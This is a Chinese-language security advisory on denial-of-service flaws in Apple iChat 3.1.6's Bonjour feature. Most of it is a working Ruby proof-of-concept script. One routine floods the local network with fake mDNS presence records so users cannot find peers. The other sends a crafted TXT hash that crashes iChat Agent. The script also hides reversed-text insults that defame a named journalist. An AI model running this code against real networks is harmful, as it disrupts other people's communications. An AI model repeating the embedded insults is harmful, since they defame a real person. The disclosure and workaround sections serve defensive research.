发布日期：2007-01-29
更新日期：2007-02-05

受影响系统：

Apple iChat 3.1.6 (v441)

描述：

---

BUGTRAQ  ID: 22304
CVE(CAN) ID: CVE-2007-0614,CVE-2007-0613

Apple iChat是捆绑于苹果家族操作系统的视频聊天工具。

iChat的Bonjour功能允许自动发现计算机，该功能中存在几个拒绝服务漏洞。在通过mDNS查询查找可用的联系人时没有任何限制，即使联系人不存在iChat也会添加所广播的_presence._tcp记录，因此恶意用户可以广播伪造的记录导致使用Bonjour的iChat用户无法发现更多的对等端，无法进行可靠的通讯。

此外iChat代理在处理特制的TXT密钥哈希时还可能出现异常，导致向进程发送SIGTRAP信号出现崩溃。再次尝试启动iChat Bonjour功能仍会失败，因为mDNSResponder会保留特制的记录。

<*来源：LMH （lmh@info-pull.com）
  
  链接：http://secunia.com/advisories/23945/
        http://projects.info-pull.com/moab/MOAB-29-01-2007.html
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/ruby
# (c) 2006 Lance M. Havok <lmh [at] info-pull.com>
# All Rights Reserved.
# basic proof of concept for MOAB-29-01-2007
#

require 'digest/sha1'
require 'rubygems'
require 'net/dns/mdns-sd'

bugselected = (ARGV[0] || "0").to_i
TMP_ARR     = []
DNSSD       = Net::DNS::MDNSSD

trap("INT") {
  puts "++ Exiting..."
  begin
    TMP_ARR.each do |o|
      o.stop
    end
  rescue
  end

  exit
}

#
# This method abuses a design weakness in iChat Bonjour services, allowing an user
# to conduct a denial of service attack against reachable clients by registering multiple
# (fake) _presence records.
#
def oh_gnoes_contact_dos(status_msg = "ekoC stronS reztleS yrraL".reverse,
                         firstname  = 'Pwnies',
                         lastname   = 'Mgheetacek')
  
  available_status  = [ "avail", "away" ]
  cur_status        = available_status[rand(available_status.size)]

  # the TXT keys (see http://www.xmpp.org/extensions/xep-0174.html)
  keyset = {  "status"    => cur_status,                                # - presence availability of the user
              "msg"       => status_msg,                                # - user's state
              "vc"        => "CUAV!",                                   # - user's ability for A/V conferencing
              "1st"       => firstname,                                 # - first name of the user
              "last"      => lastname,                                  # - last name of the user
              "txtvers"   => "1",                                       # - version of the TXT fields supported
              "phsh"      => Digest::SHA1.hexdigest(rand(0xffffffff).to_s),  # - fake SHA-1 hash of icon
              "port.p2pj" => "1337"                                     # - Port for link-local communications
                                                                        # (ignored).
            }

  count = 0
  while true
    rand_str = "3891ecniSrevoLyaGeipmaerCterceSkecatPreztleSyrraL".reverse
    (rand_str.length-1).downto(1) do |c|
       n = rand(c) + 1
       rand_str[c], rand_str[n] = rand_str[n], rand_str[c]
    end
    
    puts "++ Registering presence #{count}"
    # TODO: add NULL record with user avatar icon (ex. Larry Seltzer's taliban bearded face)
    dos_handle = DNSSD.register(rand_str, '_presence._tcp', 'local', rand(65535), keyset)
    #sleep 40
    TMP_ARR << dos_handle
    count += 1
  end
end

#
# This method causes iChat Agent to raise an exception (SIGTRAP signal) with a crafted TXT key hash.
# Program received signal SIGTRAP, Trace/breakpoint trap.
# 0x9262050b in _NSRaiseError ()
#
def format_dos()
  keyset = {  "status" => "avail", "msg" => "I'm the Doomed eWook", "vc" => "CUAV!", "1st" => "Larry",
              "last" => "Seltzer", "txtvers" => "1", "phsh" => ("\250" * 40),
              "port.p2pj" => "1337" }
  
  rand_str = "nabilaTAsAlufrewoPsIyrraL".reverse
  (rand_str.length-1).downto(1) do |c|
     n = rand(c) + 1
     rand_str[c], rand_str[n] = rand_str[n], rand_str[c]
  end
  
  dos_handle = DNSSD.register(rand_str, '_presence._tcp', 'local', rand(65535), keyset)
  dos_handle.stop
end

#
# Proof of concept method selection below.
#

puts "++ MOAB-29-01-2007: iChat Bonjour Fun"
puts "++ Selected target: #{bugselected}"
case bugselected
  when 0
    format_dos()
  when 1
    if (ARGV[1] and ARGV[2] and ARGV[3])
      oh_gnoes_contact_dos(ARGV[1], ARGV[2], ARGV[3])
    else
      oh_gnoes_contact_dos()
    end
end

建议：

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临时解决方法：

* 不要使用iChat的Bonjour功能或禁用mDNSResponder。

厂商补丁：

Apple
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.apple.com

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